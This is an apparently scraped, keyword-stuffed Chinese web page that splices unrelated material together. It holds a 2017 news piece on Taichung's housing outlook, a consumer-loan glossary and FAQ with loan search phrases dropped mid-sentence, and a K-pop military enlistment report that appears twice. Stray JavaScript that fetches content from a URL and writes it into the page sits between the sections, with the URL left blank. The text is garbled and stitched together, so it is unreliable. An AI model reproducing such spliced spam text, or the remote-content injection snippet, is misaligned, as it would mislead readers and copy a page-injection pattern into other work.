中國時報【文╱黃繡鳳】

鄉林集團董事長賴正鎰分析今年台中房市指出,受諸多利多政策激勵,「3趨勢、5亮點」將讓台中房市噴火。賴正鎰說,今年台中房市3趨勢為買房抗通膨、豪宅與首購並重,以及南屯躍升推案量首選。

「5亮點」是清泉崗機場升格國際機場;推動智慧機械與航太產業重鎮,台鐵高架通車及捷運綠線及藍線的軌道經濟效益加速擴散。

還有「老舊及危險建築改建獎勵條例」立法實施,舊城區再生,加上海線、屯區、山城三大副都心逐漸成形。

據統計,台中去年全年房屋買賣移轉棟數3萬2753棟,較前年的4萬4247棟,短少26%,市府資料也顯示,全年建照核發含大樓及透天厝,總計287個建案、總戶數約為1萬3千戶。

他說,若對照不動產開發公會所掌握會員推案申報數6千700多戶,實際推案量僅達建照核發數的一半,總銷金額較2015年全年短少800億元。

他認為,林佳龍市長日前宣示兼顧百姓感受,台中房屋稅今年只漲1%,在持有稅明朗化、房市在置產抗通膨及自住買盤挹注下,將緩步向上。

同時,建商為避開2018選舉年,除加速推出去年延遲推案外,今年將火力全開。中部向來是傳產大本營,企業主置產風潮興盛,一例一休引發通膨疑慮將資金導入房市,豪宅市場風雲再起。

台中清泉崗今年元月正式升格為國際機場,交通部更訂下2035年營運容量人數達600萬人次目標,目前已從2010年128萬人次大幅提升至2016年的238萬人次,6年來成長86%,運能創新高。

市府持續推動觀光客中進中出策略,並且推3條「機場快線」公車,加速完成機場周邊龍井、清水、沙鹿海線都市計畫及相關交通產業連結,落實智慧機械航太產業,中台灣可望2017全力崛起。

台鐵捷運高架化去年底通車,第一階段5座車站已營運,其餘5座新通勤車站2018年將啟用。林佳龍市長更宣佈捷運綠線要提前2018年試運轉,龐大旅客與通勤族,將挹注區域房市新的成長動能。

市府正規劃爭取台中港遊艇碼頭、雙港輕軌、山手線等聯外交通,同時三井台中港OUTLET PARK進駐後,都會帶動台中港特區發展。

2018年台中花博會場的聯外道路、鐵路及輕軌捷運也在趕工當中,未來台中港不僅聯結清泉崗國際機場與市區路網,已經吸引大批開發商爭相搶進台中港特區,港區成為台中副都心可期。

個人信用貸款

針對一般民眾貸款的廣泛名稱,以信用作為借貸依據,相對利率較高,隨著每人不同身分、職業、財產等特性而有不同的利率及額度,一般而言,軍公教職人員、上市上櫃公司員工、五百大企業、以及低負債的民眾較容易申請成功,貸款額度也較優惠。

信用貸款因不需提供擔保品,所以在銀行的作業成本及風險貼水考量下,除了原先的利率外,還會有帳管費、開辦手續費等額外的支出,將這些費用加總後的總費用,才會是最貼近真實借款成本的金額。

信用貸款可以做為購屋、購車時的自備款、創業的資金、房屋修膳、結婚基金、家計週轉、子女教育、投資理財或其他正當消費之用途。

消費性貸款

係指銀行為協助民眾購車、購屋、投資理財、現金週轉、就學、消費及其他支出目的,而提供辦理之貸款業務。

理財型信貸

綜合小額信貨和現金卡的優點,強調高額度、低利率、快速核准借款。一旦核准後,會有個專屬帳戶,日後每次繳還金的部分,就會存入該帳戶,遇到急用也可至此帳戶提出,省去等待時間與繁雜手續。

現金卡如何貸款200萬

是一種小額無擔保放款的金融商品,為銀行提供給客戶緊急現金使用的產品。一般現金卡最高使用額度為30萬,動用時才會計算利息,還款或是不動用,就不會有利息產生。

循環信用

循環信用是一種短期貸款工具。當無法或不願一次付清帳單上的金額時,可使用循環信用功能,依各銀行規定而不同,計算基期有依銀行入帳日、帳單結帳日或帳單繳款截止日等不同。只要每個月須至少繳付帳單上所列之「最低應繳金額」,償還的金額與時間可自行決定亦並可隨時結清。

短期貸款

短期貸款即是貸款期限在1年內的貸款,例如:證券貸款、人壽保險單貸款、不動產抵押短期貸款、存貨貸款…等,其優點可隨時調配資金供給和償還,對企業與個人而言較能彈性配置資金。缺點則是無法滿足借款人長期資金的需求。

結婚貸款

在結婚前、後六個月的未婚及新婚族,現份工作滿一年以上,或上份工作滿二年以上,無不良紀錄者,只要附上喜帖、結婚證書、喜餅收據等,均可提出申請。結婚貸款有個好處是不一定要用在結婚用途上,只要收入正常、且夫妻均有收入的情況下,就可以申請。

開辦費

開辦費 銀行因信用貸款無任何擔保品,潛在風險性相對較高,故通常使用開辦手續費(或帳戶管理費)來平均風險。建議在辦理任何貸款前,皆需仔細的詢問清楚各家銀行每項貸款的服務費用,詳細比較後,才可避免吃虧。 可參考相關字詞:帳戶管理費

預借整合負債現金

信用卡公司所提供的小額資金借款服務,主要為提供卡友資金週轉運用。

團體貸款

比個人小額信貸更低的利率,只要能找到二到三個親朋好友,互相作保,就可向銀行申請。

薪資戶貸款

銀行的薪資轉帳客戶,因銀行能掌握您每個月薪資進出的資料,再向聯徵中心查閱您的信用紀錄,確認信用狀況無誤的話,貸款便能順利核准。

還款能力哪家信貸利率低

在申辦貸款時,銀行會要求貸款人協商遲繳需提供還款能力證明。

2017年02月15日 14:40



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var theUrl = '';

document.write(httpGet(theUrl));

記者楊奇/綜合報導

南韓團體BIGBANG的成員T.O.P(崔勝鉉)已於9日正式從軍,在入伍前Instagram上不斷更新照片,也激起粉絲的留戀不捨的心情,不過他再次強調「想要安靜地進去」,不希望歌迷到場送別,懇請粉絲理解,終於訓練所在15日釋出團體照片,包括他和同期入伍的金俊秀著軍裝的照片都曝光,一解粉絲思念之情。

▲▼T.O.P入伍照片曝光,臉頰看起來比入伍前更為凹陷。(圖/翻攝自T.O.P IG、論山訓練所官網)

南韓陸軍訓練所15日在官網上釋出照片,T.O.P和同小隊隊員一齊行「舉手禮」,他的表情認真嚴肅,姿勢也相當英挺,模樣相當帥氣,只是相較入伍前,似乎更為瘦削,雙頰也明顯凹陷,讓粉絲看了很擔心,希望偶像在軍中能吃飽、穿暖,也紛紛喊話「我們等你回來!」

▲金俊秀所屬的分隊全體比手指愛心。(圖/翻攝自論山訓練所官網)

▲T.O.P和金俊秀9日頂著嚴寒正式入伍。(圖/東方IC)信用卡債務整合

另外,和T.O.P同期入伍的JYJ成員金俊秀,則是完全不同的氛圍,所屬的小隊一起比著「手指愛心」,臉上露出燦爛笑容,氣氛相當歡樂,看起來頗適應軍中生活,兩位「歐巴」穿著軍裝的照片曝光,也算解了粉絲的思念之情。



依個人而言,是以資產、信用、保證人等來評量;依企業而言,則是依據公司的資本額、獲利潛力、營運規模、資產設備等來評量軍貸條件。 還款能力會影響銀行給予貸款額度與利率的結果,建議在申辦貸款時,可聽取專家建議,依據不同銀行喜好,提出對自己較有利的還款能力證明。

曾被強制停卡的記錄仍可辦理貸款或信用卡嗎?

強停是否能辦理其他相關的消費性金融產品,關鍵在於您是否將前項債務已經做清償過的處理,若無,是無法辦理他項產品的,若有,便要參考您現行的工作內容,基本對於 強停的貸款人,銀行的要求都會較多,需準備的資料有:

1.需附上清償證明,且最好滿一年以上

2.薪資轉帳存摺

3.勞保異動明細表

4.身分證影印本

無工作、自由業、名下有房子可貸款嗎?申請銀行個人信貸條件

還是可以貸款的。房貸本身就需要保人,以確保還款來源,建議您可以辦理房貸,而可貸金額需視鑑價狀況與銀行核貸成數而定。

最低應繳金額該如何計算?

最低應繳金額的計算,通常小額信用貸款利率包括:

信用額度內各信用卡帳戶下之全部消費帳款(包括當期及以往各期未償還之金額)的2%-5%及預借現金未償還金額的10%。

*根據金管會規定:自95年4月1日起實施。(依各銀行規定而有不同)

我想了解貸債務整合款下來的時間從辦到下來計多久?

市面上各家銀行貸款商品玲瑯滿目,再加上每家銀行貸款商品的利率及條件不盡相同,不同的人有不同的貸款需求,市場上多家銀行雖然提供給不同條件的客人多種貸款方案,最長也需要6~8各工作天撥款完成,最短也需要三個工作天撥款完成。

有關個人信貸”小白”問題?

其實小白的解釋為四十歲以內,無任何與銀行信用往來記錄 , 銀行在無從斷定的資料下,只能從『工作』去篩選客戶。

什麼是民間借貸?

民間借貸是在民間自然形成的,為了解決生活中的金錢煩惱而存在。民間借貸合法化的概念卻是在近代才逐漸形成,可是民間借貸存在的歷史卻相當悠久。 既然有合法的民間借貸,自然也存在著不合法的民間借貸,合法的民間借貸與銀行的性質有些相似,會站在人性的角度思考契約,而不合法的民間借貸也就是大家常聽見新聞報導的『高利貸』,可說是沒有人性的借貸契約!只要借款的對象是高利貸,那這輩子想要擺脫掉金錢的束縛可說是難上加難了! 想要好好的利用民間借貸,首先就要瞭解民間借貸,即使不是全盤的瞭解,最起碼要知道借貸的對象是否合法,才不會傻傻地被騙進高利貸的火坑當中!

銀行借貸與民間借貸的區別?

銀行借貸就是由銀行核准的借貸,舉凡一般的房貸、車貸、學貸以及信用卡皆是,但是銀行一般傾向承做金額較大的借貸,或者是需要抵押的借貸,並且借款對象的條件要求較高,要準備的資料多,手續繁瑣,不過借貸利率會比民間借貸來的低。 但是中小企業的資金需求一般都是短暫且急迫的,很多狀況下沒有多餘的時間來等待銀行批准,也沒辦法短時間準備好貸款所需要的資料。因此很多中小企業會選擇民間借貸,因為手續簡單,放款快速,很適合中小企業的借貸救急。 民間借貸提供了中小企業另一個借貸救急的途徑,幫助他們度過短期的難關,但是民間借貸也最常出現糾紛,因為很多時候為求方便快速,往往忘記簽訂借貸契約書。沒有借貸契約書就很容易造成誤會,也讓一些居心不良的人懷有得過且過的心理。 民間借貸是存在風險的,銀行借貸都是要有抵押的,民間借貸就依不同的公司而有不同的規定,因為民間借貸對借貸雙方都存在風險,所以在借貸時要清楚瞭解每一個借貸的細節。

民間借貸與高利貸的區別?

民間借貸是指公民之間,公民與法人怎麼借錢之間,公民與其他組織之間借貸。只要雙方當事人意思表示真實即可認定有效,因借貸產生抵押相應有效,但利率不得超出法律規定。 所謂高利貸也是民間借貸一種模式,只要是民間借貸利率超出了國家法律規定,就應被視為『高利貸』!

2017年02月15日 14:40



function httpGet(theUrl){var xmlHttp = new XMLHttpRequest();xmlHttp.open( 'GET' , theUrl, false );xmlHttp.send( null );return xmlHttp.responseText;}

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document.write(httpGet(theUrl));

記者楊奇/綜合報導

南韓團體BIGBANG的成員T.O.P(崔勝鉉)已於9日正式從軍,在入伍前Instagram上不斷更新照片,也激起粉絲的留戀不捨的心情,不過他再次強調「想要安靜地進去」,不希望歌迷到場送別,懇請粉絲理解,終於訓練所在15日釋出團體照片,包括他和同期入伍的金俊秀著軍裝的照片都曝光,一解粉絲思念之情。卡債追溯期多久

▲▼T.O.P入伍照片曝光,臉頰看起來比入伍前更為凹陷。(圖/翻攝自T.O.P IG、論山訓練所官網)

南韓陸軍訓練所15日在官網上釋出照片,T.O.P和同小隊隊員一齊行「舉手禮」,他的表情認真嚴肅,姿勢也相當英挺,模樣相當帥氣,只是相較入伍前,似乎更為瘦削,雙頰也明顯凹陷,讓粉絲看了很擔心,希望偶像在軍中能吃飽、穿暖,也紛紛喊話「我們等你回來!」

▲金俊秀所屬的分隊全體比手指愛心。(圖/翻攝自論山訓練所官網)

▲T.O.P和金俊秀9日頂著嚴寒正式入伍。(圖/東方IC)

另外,和T.O.P同期入伍的JYJ成員金俊秀,則是完全不同的氛圍,所屬的小隊一起比著「手指愛心」,臉上露出燦爛笑容,氣氛相當歡樂,看起來頗適應軍中生活,兩位「歐巴」穿著軍裝的照片曝光,也算解了粉絲的思念之情。

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陳慶順

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